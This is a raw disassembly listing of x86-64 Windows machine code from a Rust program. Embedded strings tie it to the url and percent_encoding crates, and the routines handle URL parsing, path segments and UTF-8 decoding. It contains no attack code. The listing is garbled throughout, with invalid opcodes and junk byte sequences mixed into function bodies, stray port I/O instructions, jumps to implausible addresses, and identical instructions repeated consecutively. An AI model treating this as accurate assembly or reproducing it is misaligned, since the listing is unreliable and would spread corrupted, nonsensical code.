jmp 0x1400faaa9
xor eax, eax
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x68]
mov r8, r13
lea r9, [rsp + 0x80]
call fcn.140038db0
cmp qword [rsp + 0x68], 0
jne 0x1400fb655
mov rcx, qword [rsp + 0x70]
mov r15, qword [rsp + 0xb0]
mov qword [r15 + 8], rcx
mov qword [r15], r13
mov rbx, r13
mov r11, rdi
mov rdi, qword [rsp + 0x38]
jmp 0x1400faa27
lea rdi, [0x14016f768]
xor esi, esi
jmp 0x1400faa97
mov rbx, qword [r13]
mov r9, r13
mov rax, qword [r13 + 8]
mov qword [rsp + 0x38], rax
jmp 0x1400fac1d
lea rbp, [r11 + r12]
mov r13, r9
mov qword [rsp + 0x38], rcx
add r11, rcx
mov rcx, r11
mov rdx, r14
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
mov r9, r13
mov qword [r13 + 0x10], rbp
mov r12, rsi
mov r14, rdi
mov r11, rbp
test r12, r12
je 0x1400fad93
movzx eax, byte [r14]
movzx eax, al
test al, al
js 0x1400fac45
mov ecx, eax
shr ecx, 5
lea rdx, [0x14016f1a0]
mov ecx, dword [rdx + rcx*4]
bt ecx, eax
jae 0x1400facc0
inc r14
dec r12
mov rdi, r14
lea r14, [rax + rax*2]
lea rax, [0x140138f8c]
add r14, rax
mov rsi, r12
mov r12d, 3
mov rcx, qword [rsp + 0x38]
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400fabf0
mov rbp, r11
add rbp, r12
jb 0x1400fb66e
lea r13, [rbx + rbx]
cmp r13, rbp
cmovbe r13, rbp
in eax, dx
in eax, dx
cmp r13, 9
mov eax, 8
cmovb r13, rax
mov r15, r11
test rbx, rbx
je 0x1400fad2e
mov qword [rsp + 0x80], rcx
mov qword [rsp + 0x90], rbx
mov eax, 1
jmp 0x1400fad30
mov ecx, 1
nop word cs:[rax + rax]
cmp r12, rcx
je 0x1400fad85
mov rax, rcx
movzx ecx, byte [r14 + rcx]
test cl, cl
js 0x1400fad02
movzx edx, cl
mov ecx, edx
shr ecx, 5
lea r8, [0x14016f1a0]
mov r8d, dword [r8 + rcx*4]
lea rcx, [rax + 1]
bt r8d, edx
jae 0x1400facd0
sub r12, rax
mov rcx, qword [rsp + 0x38]
jb 0x1400fb68f
lea rdi, [r14 + rax]
mov rsi, r12
mov r12, rax
mov rax, rbx
sub rax, r11
cmp rax, r12
jae 0x1400fabf0
jmp 0x1400fac79
xor eax, eax
mov rdx, r13
not rdx
shr rdx, 0x3f
mov qword [rsp + 0x88], rax
lea rcx, [rsp + 0x68]
mov r8, r13
lea r9, [rsp + 0x80]
call fcn.140038db0
cmp qword [rsp + 0x68], 0
jne 0x1400fb655
mov rcx, qword [rsp + 0x70]
mov rax, qword [rsp + 0xb0]
mov qword [rax + 8], rcx
mov qword [rax], r13
mov rbx, r13
mov r13, rax
mov r11, r15
jmp 0x1400fabf7
xor esi, esi
lea rdi, [0x14016f768]
jmp 0x1400fac65
mov r13, r9
mov rsi, qword [rsp + 0x138]
mov rbx, qword [rsp + 0xc0]
cmp rbx, rsi
mov rdi, qword [rsp + 0x50]
mov r10d, 0x2600
jne 0x1400fa63f
mov rdx, r11
mov rbx, rsi
mov r14, qword [r13 + 8]
mov r8, qword [rsp + 0x48]
cmp r8, rdx
jbe 0x1400fae07
jmp 0x1400fb678
lahf
or byte [rax], al
add byte [rdi], cl
invalid
mov r14, qword [r13 + 8]
xor r12d, r12d
mov rax, rdx
mov rcx, rdx
mov rbx, rsi
jmp 0x1400fae28
xor r12d, r12d
test r8, r8
je 0x1400fae22
cmp r8, rdx
jae 0x1400fae22
cmp byte [r14 + r8], 0xbf
jle 0x1400fb678
xor r12d, r12d
mov rax, rdx
mov rcx, r8
mov r11, rdx
mov r15, rcx
not rcx
add rcx, r11
cmp rcx, 5
ja case.0x1400fae4c.4
lea r8, [0x140176038]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
jmp rcx
cmp byte [r14 + r15], 0x2e
jne case.0x1400fae4c.4
movzx ecx, word [r14 + r15]
xor ecx, 0x3225
movzx r8d, byte [r14 + r15 + 2]
xor r8d, 0x65
or r8w, cx
je 0x1400fae95
movzx ecx, word [r14 + r15]
cmp ecx, 0x2e2e
je 0x1400fafd0
cmp dword [r14 + r15], 0x2e653225
je 0x1400fafd0
mov ecx, dword [r14 + r15]
mov edx, 0x25653225
xor ecx, edx
movzx edx, word [r14 + r15 + 4]
xor edx, 0x6532
or edx, ecx
je 0x1400fafd0
mov rdx, r11
mov rbx, rax
mov r14, qword [r13 + 8]
mov r8, qword [rsp + 0x48]
cmp r8, rdx
jbe 0x1400fae07
cmp byte [rsp + 0x37], 0
jne 0x1400fb61a
mov r12, qword [r13 + 8]
mov rdx, qword [r13 + 0x10]
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x1400fb48d
cmp rdx, rax
jbe 0x1400fb48b
mov rdi, rbx
mov rbx, rdx
sub rbx, rax
jb 0x1400fb752
mov rax, rbx
mov rdx, rsi
add rsp, 0xc8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x60]
call fcn.140104360
mov rcx, qword [rsp + 0x60]
call fcn.140104360
lea rax, [0x14016f1c0]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rdx
call fcn.140104b90
lea rax, str.mid___len
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x98], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fpercent_encoding_2.3.1_srclib.rs_00_01_02_03_04_05_06_07_08_09_0A_0B_0C_0D_0E_0F_10_11_12_13_14_15_16_17_18_19_1A_1B_1C_1D_1E_1F_20_21_22_23_24_25_26_27_28_29_2A_2B_2C_2D_2E_2F_30_31_32_33_34_35_36_37_38_39_3A_3B_3C_3D_3E_3F_40_41_42_43_44_45_46_47_48_49_4A_4B_4C_4D_4E_4F_50_51_52_53_54_55_56_57_58_59_5A_5B_5C_5D_5E_5F_60_61_62_63_64_65_66_67_68_69_6A_6B_6C_6D_6E_6F_70_71_72_73_74_75_76_77_78_79_7A_7B_7C_7D_7E_7F_80_81_82_83_84_85_86_87_88_89_8A_8B_8C_8D_8E_8F_90_91_92_93_94_95_96_97_98_99_9A_9B_9C_9D_9E_9F_A0_A1_A2_A3_A4_A5_A6_A7_A8_A9_AA_AB_AC_AD_AE_AF_B0_B1_B2_B3_B4_B5_B6_B7_B8_B9_BA_BB_BC_BD_BE_BF_C0_C1_C2_C3_C4_C5_C6_C7_C8_C9_CA_CB_CC_CD_CE_CF_D0_D1_D2_D3_D4_D5_D6_D7_D8_D9_DA_DB_DC_DD_DE_DF_E0_E1_E2_E3_E4_E5_E6_E7_E8_E9_EA_EB_EC_ED_EE_EF_F0_F1_F2_F3_F4_F5_F6_F7_F8_F9_FA_FB_FC_FD_FE_FF
lea rcx, [rsp + 0x80]
call fcn.140104620
lea rax, [0x14016f018]
mov qword [rsp + 0x20], rax
mov rcx, r14
xor r8d, r8d
mov r9, r12
call fcn.140104b90
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_O
lea r8, [0x14016ed18]
mov edx, 0x30
call fcn.1401046f0
lea rax, [0x14016f208]
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.140104b90
lea rax, [0x14016f178]
mov qword [rsp + 0x20], rax
mov rdx, r11
mov r8, rdi
mov r9, r11
call fcn.140104b90
lea rax, [0x14016f1f0]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov rdx, r15
mov r9, r15
call fcn.140104b90
mov rcx, qword [rsp + 0x40]
call fcn.1401044b0
add r14, r8
lea rax, [0x14016f428]
mov qword [rsp + 0x20], rax
mov r8d, 1
mov rcx, r14
mov rdx, r15
mov r9, r15
call fcn.140104b90
call fcn.140010910
mov ecx, 1
mov rdx, rbx
call fcn.140104360
lea rax, [0x14016f1d8]
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r8, qword [rsp + 0x48]
mov r9, r11
call fcn.140104b90
int3
mov rax, qword [rdi + 8]
movabs rcx, 0x2f2f2f3a656c6966
mov qword [rax + rdx], rcx
add rdx, 8
mov qword [rdi + 0x10], rdx
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0x70]
mov r9d, 7
mov rcx, rdi
xor edx, edx
call fcn.1400fa5b0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400feb70
mov eax, dword [rsp + 0x70]
cmp eax, 2
je 0x1400fcd0a
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r14 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r14], xmm0
mov dword [r14 + 0x18], eax
mov qword [r14 + 0x1c], rdx
mov dword [r14 + 0x24], ecx
mov word [r14 + 0x28], 0
movaps xmm0, xmmword [0x14010fac0]
movups xmmword [r14 + 0x2c], xmm0
mov dword [r14 + 0x3c], 7
mov byte [r14 + 0x40], 0
jmp 0x1400fd19f
test r14b, r14b
setne byte [rsp + 0xd0]
test bpl, bpl
je 0x1400fcaa4
mov rax, r12
cmp r12, qword [rdi]
jne 0x1400fc920
mov rcx, rdi
call fcn.1400cf3b0
mov rax, qword [rdi + 0x10]
mov rcx, qword [rdi + 8]
mov byte [rcx + rax], 0x2f
inc rax
mov qword [rdi + 0x10], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r15
lea r8, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400fa5b0
cmp byte [rsp + 0xd0], 0
jne 0x1400fcb53
jmp 0x1400fcacc
mov qword [rsp + 0x20], rbx
lea r8, [rsp + 0xd0]
mov rcx, rdi
xor edx, edx
mov r9, r15
call fcn.1400fff10
cmp byte [rsp + 0xd0], 0
jne 0x1400fcb53
cmp r12, 7
jb 0x1400fd299
mov r9, qword [rdi + 0x10]
cmp r9, r12
jb 0x1400fd2ad
mov rcx, qword [rdi + 8]
cmp r9, 8
jb 0x1400fcaf7
cmp byte [rcx + 7], 0xbf
jle 0x1400fd305
mov rbx, rdx
mov r15, rax
cmp r9, r12
jbe 0x1400fcb0d
cmp byte [rcx + r12], 0xbf
jle 0x1400fd31d
lea rax, [rcx + 7]
add rcx, r12
mov qword [rsp + 0x80], rdi
mov qword [rsp + 0x88], 7
mov qword [rsp + 0x90], r12
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
lea rcx, [rsp + 0x70]
call fcn.140011360
mov r12d, 7
xor r14d, r14d
mov rax, r15
mov rdx, rbx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400feb70
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fcb91
movzx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0xc8]
mov byte [rcx + 8], al
jmp 0x1400fce03
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov r9, qword [rsp + 0xc8]
mov qword [r9 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r9], xmm0
adc dword [rcx], eax
adc dword [rcx], eax
mov dword [r9 + 0x18], eax
mov qword [r9 + 0x1c], rdx
mov dword [r9 + 0x24], ecx
mov word [r9 + 0x28], 0
movabs rax, 0x700000004
add byte [rax], al
add byte [rcx - 0x77], cl
sub al, 0x41
mov dword [rcx + 0x34], 7
add byte [rax], al
add byte [rcx - 0x77], cl
sub al, 0x41
mov dword [rcx + 0x34], 7
mov dword [r9 + 0x38], r12d
mov dword [r9 + 0x3c], r12d
mov byte [r9 + 0x40], r14b
mov dword [r9 + 0x41], esi
mov dword [rcx + 0x41], esi
mov dword [rcx + 0x41], esi
mov rax, qword [rsp + 0xb8]
mov dword [r9 + 0x45], eax
mov rax, qword [rsp + 0xe8]
mov qword [r9 + 0x49], rax
jmp 0x1400fd19f
cwde
invalid
add byte [rax], al
cwde
add eax, 0x840f0000
add eax, dword [r8]
add byte [rax - 0x73], cl
add eax, 0x7237c
mov qword [rsp + 0x20], rax
mov rcx, rdx
mov rdx, r14
xor r8d, r8d
call fcn.140104b90
jne 0x1400fcc39
test ebp, ebp
je 0x1400fcc52
cmp rdx, rbp
jbe 0x1400fcc50
cmp byte [r14 + rbp], 0xbf
jg 0x1400fcc52
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
add eax, 0x72818
mov qword [rsp + 0x20], rax
mov rcx, r14
mov r9, rbp
call fcn.140104b90
jne 0x1400fcc39
add r14, r8
sub rbp, r8
invalid
mov rax, qword [rdi]
mov r12, qword [rdi + 0x10]
sub rax, r12
cmp rax, rbp
jb 0x1400fd1b4
invalid
mov rcx, qword [rdi + 8]
add rcx, r12
mov rdx, r14
mov edx, esi
mov edx, esi
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
add r12, rbp
mov qword [rdi + 0x10], r12
mov rax, qword [rsp + 0x180]
movups xmm0, xmmword [rax + 0x41]
movaps xmmword [r12 + 0x100], xmm0
movaps xmmword [r12 + 0x100], xmm0
mov r14, qword [rsp + 0xc8]
add esi, 0xffffffdd
cmp esi, 0x39
ja 0x1400fccc0
movabs rax, 0x200000010001001
bt rax, rsi
jae 0x1400fccc0
adc byte [rax], al
adc byte [rax], al
add byte [rax], al
add cl, byte [rax + 0xf]
movabs dword [0xc024ac8b4c0873f0], eax
add byte [rax], al
add dh, al
and al, 0x70
add byte [rax - 0x77], cl
pop rsp
and al, 0x28
mov r13, qword [rsp + 0xc0]
mov byte [rsp + 0x70], 0
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], r13
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400fa5b0
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
mov rdx, rdi
xor r8d, r8d
mov r9d, 4
call fcn.1400feb70
mov eax, dword [rsp + 0x70]
cmp eax, 2
jne 0x1400fcd2f
movzx eax, byte [rsp + 0x74]
mov byte [r14 + 8], al
movabs rax, 0x8000000000000000
mov qword [r14], rax
cmp qword [rdi], 0
jne 0x1400fce1a
jmp 0x1400fd19f
mov ecx, dword [rsp + 0x7c]
mov rdx, qword [rsp + 0x74]
mov r8, qword [rdi + 0x10]
mov qword [r14 + 0x10], r8
movups xmm0, xmmword [rdi]
movups xmmword [r14], xmm0
mov dword [r14 + 0x18], eax
mov qword [r14 + 0x1c], rdx
mov dword [r14 + 0x24], ecx
and al, 0x66
mov dword [r14 + 0x28], 0xb8480000
add al, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x77], cl
sub al, 0x41
mov dword [rsi + 0x34], 7
invalid
add byte [rax], al
invalid
and al, 0x66
mov dword [r14 + 0x28], 0xb8480000
add al, 0
add byte [rax], al
invalid
invalid
mov dword [r14 + 0x38], r12d
mov dword [r14 + 0x3c], r12d
mov byte [r14 + 0x40], r15b
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [r14 + 0x41], xmm0
jmp 0x1400fd19f
mov rcx, qword [0x14017d208]
xor edx, edx
mov r8, qword [rsp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12, qword [rdi + 0x10]
mov rax, r12
shr rax, 0x20
je 0x1400fc8f8
mov rcx, qword [rsp + 0xc8]
mov byte [rcx + 8], 9
movabs rax, 0x8000000000000000
mov qword [rcx], rax
cmp qword [rdi], 0
je 0x1400fd19f
mov r8, qword [rdi + 8]
mov rcx, qword [0x14017d208]
add ecx, dword [rax]
add byte [rcx], dh
sar bh, cl
adc eax, 0x125d3
jmp 0x1400fd19f
xor byte [rax - 0x75], cl
push rbp
or byte [rbp - 0x7b], cl
test byte [rdi], 0x84
xchg edx, eax
add dword [rax], eax
add byte [rax - 0x75], cl
adc byte [r9 + rdi - 0x10], r9b
jbe 0x1400fd018
jg 0x1400fd072
jmp 0x1400fd2e8
invalid
mov rcx, rdi
call fcn.140104c70
mov rdx, qword [rdi + 0x10]
jmp 0x1400fc0e0
mov ecx, edi
call fcn.140104c70
mov rdx, qword [rdi + 0x10]
mov edx, dword [rdi + 0x10]
mov edx, dword [rdi + 0x10]
jmp 0x1400fc386
push rdi
adc cl, ch
popfq
out dx, eax
invalid
mov dword [r15 + 0x18], eax
mov qword [r15 + 0x1c], rdx
mov dword [r15 + 0x24], ecx
mov eax, dword [rsi + 0x28]
sub byte [rcx - 0x77], r8b
sub byte [r9 - 0x77], r8b
mov dword [rdi + 0x2c], ebp
sub byte [rcx - 0x77], r8b
sub byte [r9 - 0x77], r8b
mov dword [rdi + 0x2c], ebp
movups xmm0, xmmword [rsi + 0x30]
mov dword [rdi + 0x2c], ebp
movups xmm0, xmmword [rsi + 0x30]
movups xmmword [r15 + 0x30], xmm0
movups xmm0, xmmword [rsi + 0x40]
adc byte [rsi + 0x40], al
adc byte [rsi + 0x40], al
movups xmmword [r15 + 0x40], xmm0
movzx eax, byte [rsi + 0x50]
movzx eax, byte [rsi + 0x50]
mov byte [r15 + 0x50], al
jmp 0x1400fd19f
add byte [rdi], cl
test edx, ecx
add al, byte [rax]
add byte [rcx - 0x77], cl
invalid
test eax, eax
je 0x1400fd1e8
mov ecx, 0x48000001
mov ecx, dword [0x14017d208]
xor r14d, r14d
xor edx, edx
invalid
sar bh, cl
adc eax, 0x123bf
add dword [rax], eax
call qword [sym.imp.kernel32.dll_HeapFree]
add dword [rax], eax
jmp 0x1400fd1eb
mov dword [rsp + 0xb8], eax
mov r15, r12
mov r12, qword [rdi + 0x10]
adc byte [ecx + ecx*4 - 0x20], cl
adc byte [ecx + ecx*4 - 0x20], cl
shr rax, 0x20
je 0x1400fc8f8
jmp 0x1400fcdf7
mov edx, dword [rbp + 8]
mov r14, qword [rbp + 0x10]
mov rax, qword [rdi]
mov r13, qword [rdi + 0x10]
sub rax, r13
cmp rax, r14
invalid
jb 0x1400fd1f8
add byte [rax], al
invalid
add byte [rax], al
mov rcx, qword [rdi + 8]
add rcx, r13
jmp 0x1290059dd
invalid
pop rdi
add byte [rax], al
add r13, r14
mov qword [rdi + 0x10], r13
mov r12d, dword [rbp + 0x3c]
mov rax, r13
sub rax, r12
mov r14, r15
je 0x1400fd0ef
jmp 0x1290059dd
mov rcx, qword [rdi + 8]
test r12d, r12d
test esp, esp
test esp, esp
je case.0x1400b9f4a.1296
cmp r13, r12
jbe 0x1400fd2ce
cmp byte [rcx + r12], 0xbf
jle 0x1400fd2ce
cmp rax, 2
jne 0x1400fd0e2
mov byte [rsp + 0x70], 1
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x70]
mov rcx, rdi
xor edx, edx
mov r9, r12
call fcn.1400fa5b0
mov rcx, qword [rdi + 0x40]
mov qword [rsp + 0xb0], rcx
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0xa0], xmm3
movaps xmmword [rsp + 0x90], xmm2
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov r9d, dword [rbp + 0x2c]
mov ecx, dword [rbp + 0x30]
mov r8d, dword [rbp + 0x34]
mov r10d, dword [rbp + 0x38]
lea r11, [rbp + 0x40]
movzx esi, word [rbp + 0x28]
movzx edi, word [rbp + 0x2a]
mov qword [rsp + 0x60], rdx
mov qword [rsp + 0x58], rax
mov dword [rsp + 0x50], r12d
mov word [rsp + 0x48], di
mov word [rsp + 0x40], si
mov qword [rsp + 0x38], r11
mov dword [rsp + 0x30], r10d
mov dword [rsp + 0x28], r8d
mov dword [rsp + 0x20], ecx
lea rdx, [rsp + 0x70]
mov rcx, r14
xor r8d, r8d
call fcn.1400fb7b0
nop
add rsp, 0x118
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rdi
mov rdx, r12
mov r8, rbp
call fcn.140104c70
mov r12, qword [rdi + 0x10]
jmp 0x1400fcc6b
mov qword [rsp + 0xb8], rax
jmp 0x1400fcdcf
mov rcx, rdi
mov r12, rdx
mov rdx, r13
mov r8, r14
call fcn.140104c70
mov rdx, r12
mov r13, qword [rdi + 0x10]
jmp 0x1400fd085
lea r8, [0x14016ec40]
mov ecx, 7
mov rdx, r12
call fcn.1401048e0
lea r8, [0x14016ec40]
mov rcx, r12
mov rdx, r9
call fcn.1401046e0
mov ecx, 1
mov edx, 2
call fcn.140104360
lea rax, [0x14016f208]
mov qword [rsp + 0x20], rax
mov rdx, r13
mov r8, r12
mov r9, r13
jmp 0x140887bcf
invalid
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r14
call fcn.140104b90
lea rcx, str.assertion_failed:_self.is_char_boundary_start_
lea r8, [0x14016ec88]
mov edx, 0x2e
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x14016ecd0]
mov edx, 0x2c
call fcn.1401046f0
int3
cmp r13, r14
je 0x1400fd7df
movzx r9d, byte [r13]
movzx ecx, r9b
test cl, cl
js 0x1400fd3b0
inc r13
cmp ecx, 0xd
jbe 0x1400fd430
jmp 0x1400fd450
mov edx, ecx
and edx, 0x1f
movzx r10d, byte [r13 + 1]
and r10d, 0x3f
cmp cl, 0xdf
jbe 0x1400fd407
movzx r8d, byte [r13 + 2]
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
cmp r9b, 0xf0
jb 0x1400fd41a
movzx ecx, byte [r13 + 3]
and edx, 7
shl edx, 0x12
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
or ecx, edx
cmp ecx, 0x110000
je 0x1400fd7df
add r13, 4
cmp ecx, 0xd
jbe 0x1400fd430
jmp 0x1400fd450
add r13, 2
shl edx, 6
or edx, r10d
mov ecx, edx
cmp ecx, 0xd
jbe 0x1400fd430
jmp 0x1400fd450
add r13, 3
shl edx, 0xc
or r8d, edx
mov ecx, r8d
cmp ecx, 0xd
invalid
ja 0x1400fd450
nop dword [rax]
mov edx, 0x110000
bt eax, ecx
jae 0x1400fd450
cmp edx, 0x110000
je 0x1400fd380
cmp bh, bh
invalid
invalid
jmp 0x1400fd45e
mov edx, ecx
cmp edx, 0x110000
je 0x1400fd380
cmp edx, 0x3e
jg 0x1400fd489
cmp edx, 0x23
je 0x1400fd865
cmp edx, 0x2f
je 0x1400fd497
cmp dword [rbx + 0x18], 0
mov byte [rsp + 0x77], r11b
je 0x1400fd93e
lea rax, [rbx + 0x1c]
jmp 0x1400fd94c
cmp edx, 0x3f
je 0x1400fd8c0
cmp edx, 0x5c
jne 0x1400fd471
mov byte [rsp + 0x77], r11b
xor eax, eax
mov ecx, 0x2600
add byte [rcx - 0x77], cl
hlt
mov rdx, rsi
cmp rdx, r14
jne case.0x14009f75c.1407
add byte [rcx - 0x77], cl
hlt
jmp 0x1400fd5bf
nop word cs:[rax + rax]
mov r9d, r8d
cmp r9d, 0x110000
jne 0x1400fd5a5
movzx r11d, byte [rdx]
movzx r8d, r11b
test r8b, r8b
js 0x1400fd500
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov r9d, r8d
and r9d, 0x1f
movzx ebp, byte [rdx + 1]
and ebp, 0x3f
cmp r8b, 0xdf
jbe 0x1400fd55c
movzx r10d, byte [rdx + 2]
shl ebp, 6
and r10d, 0x3f
or r10d, ebp
cmp r11b, 0xf0
jb 0x1400fd575
movzx r8d, byte [rdx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
and r8d, 0x3f
or r8d, r10d
or r8d, r9d
cmp r8d, 0x110000
je 0x1400fd5bf
add rdx, 4
cmp r8d, 0xd
jbe 0x1400fd590
jmp 0x1400fd4c0
add rdx, 2
shl r9d, 6
or r9d, ebp
mov r8d, r9d
cmp r8d, 0xd
jbe 0x1400fd590
jmp 0x1400fd4c0
add rdx, 3
shl r9d, 0xc
or r10d, r9d
mov r8d, r10d
cmp r8d, 0xd
ja 0x1400fd4c0
xor edi, edi
invalid
invalid
nop dword [rax]
mov r9d, 0x110000
bt ecx, r8d
jb 0x1400fd4c3
jmp 0x1400fd4c0
cmp eax, 1
jbe 0x1400fd81a
mov rax, qword [rdi + 0x30]
test rax, rax
je 0x1400fd797
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0x78], r15
mov rax, qword [rdi + 0x38]
mov qword [rsp + 0xc8], rax
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
and al, 0x88
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
imul ebx
invalid
and al, 0xc8
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
and al, 0x88
and al, 0x88
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rcx - 0x77], cl
imul ebx
invalid
lea eax, [r13 - 9]
cmp eax, 2
jae 0x1400fd6d7
cmp r15, r14
je 0x1400fd738
movzx edx, byte [r15]
movzx r13d, dl
test r13b, r13b
js 0x1400fd660
inc r15
cmp r13d, 0x2e
jle 0x1400fd620
jmp 0x1400fd700
mov eax, r13d
and eax, 0x1f
movzx r8d, byte [r15 + 1]
and r8d, 0x3f
cmp r13b, 0xdf
jbe 0x1400fd6be
movzx ecx, byte [r15 + 2]
shl r8d, 6
and ecx, 0x3f
or ecx, r8d
cmp dl, 0xf0
cli
invalid
jb 0x1400fd6e3
cli
invalid
movzx r13d, byte [r15 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and r13d, 0x3f
or r13d, ecx
or r13d, eax
cmp r13d, 0x110000
je 0x1400fd738
add r15, 4
cmp r13d, 0x2e
jle 0x1400fd620
jmp 0x1400fd700
add r15, 2
shl eax, 6
or eax, r8d
mov r13d, eax
cmp r13d, 0x2e
jle 0x1400fd620
jmp 0x1400fd700
cmp r13d, 0xd
je 0x1400fd62d
jmp 0x1400fd738
add r15, 3
shl eax, 0xc
or ecx, eax
mov r13d, ecx
cmp r13d, 0x2e
jle 0x1400fd620
nop dword [rax]
cmp r13d, 0x2f
je 0x1400fd719
cmp r13d, 0x110000
je 0x1400fd62d
cmp r13d, 0x5c
jne 0x1400fd738
mov rcx, rbp
mov edx, r13d
call fcn.1400f72b0
cmp r13d, 0x2f
je 0x1400fd62d
cmp r13d, 0x5c
je 0x1400fd62d
mov rax, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov bpl, 1
cmp qword [rsp + 0x90], 2
jne 0x1400fd764
movzx ecx, word [r8]
cmp ecx, 0x2f2f
setne bpl
test rax, rax
mov r15, qword [rsp + 0x78]
je 0x1400fd77d
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bpl, bpl
mov rcx, qword [rsp + 0xd0]
je 0x1400fd797
mov dl, 3
mov rax, qword [rsp + 0xc8]
call qword [rax + 0x28]
mov ebp, dword [rbx + 0x2c]
mov r13d, ebp
mov rdx, qword [rbx + 8]
inc r13d
je 0x1400fdb6b
mov rax, qword [rbx + 0x10]
cmp rax, r13
jbe 0x1400fdb65
cmp byte [rdx + r13], 0xbf
jg 0x1400fdb6b
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
xor r8d, r8d
mov r9, r13
call fcn.140104b90
cmp dword [rbx + 0x20], 0
je 0x1400fd903
mov r14d, dword [rbx + 0x24]
mov rdx, qword [rbx + 8]
test r14, r14
je 0x1400fdac6
mov rax, qword [rbx + 0x10]
cmp rax, r14
jbe 0x1400fdc91
cmp byte [rdx + r14], 0xbf
jle 0x1400fdc97
mov r12, r15
jmp 0x1400fd90e
mov qword [rsp + 0x78], r15
mov r15d, dword [rbx + 0x3c]
mov rdx, qword [rbx + 8]
test r15, r15
je 0x1400fd9b7
mov rax, qword [rbx + 0x10]
cmp rax, r15
jbe 0x1400fd9b1
cmp byte [rdx + r15], 0xbf
jg 0x1400fd9b7
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
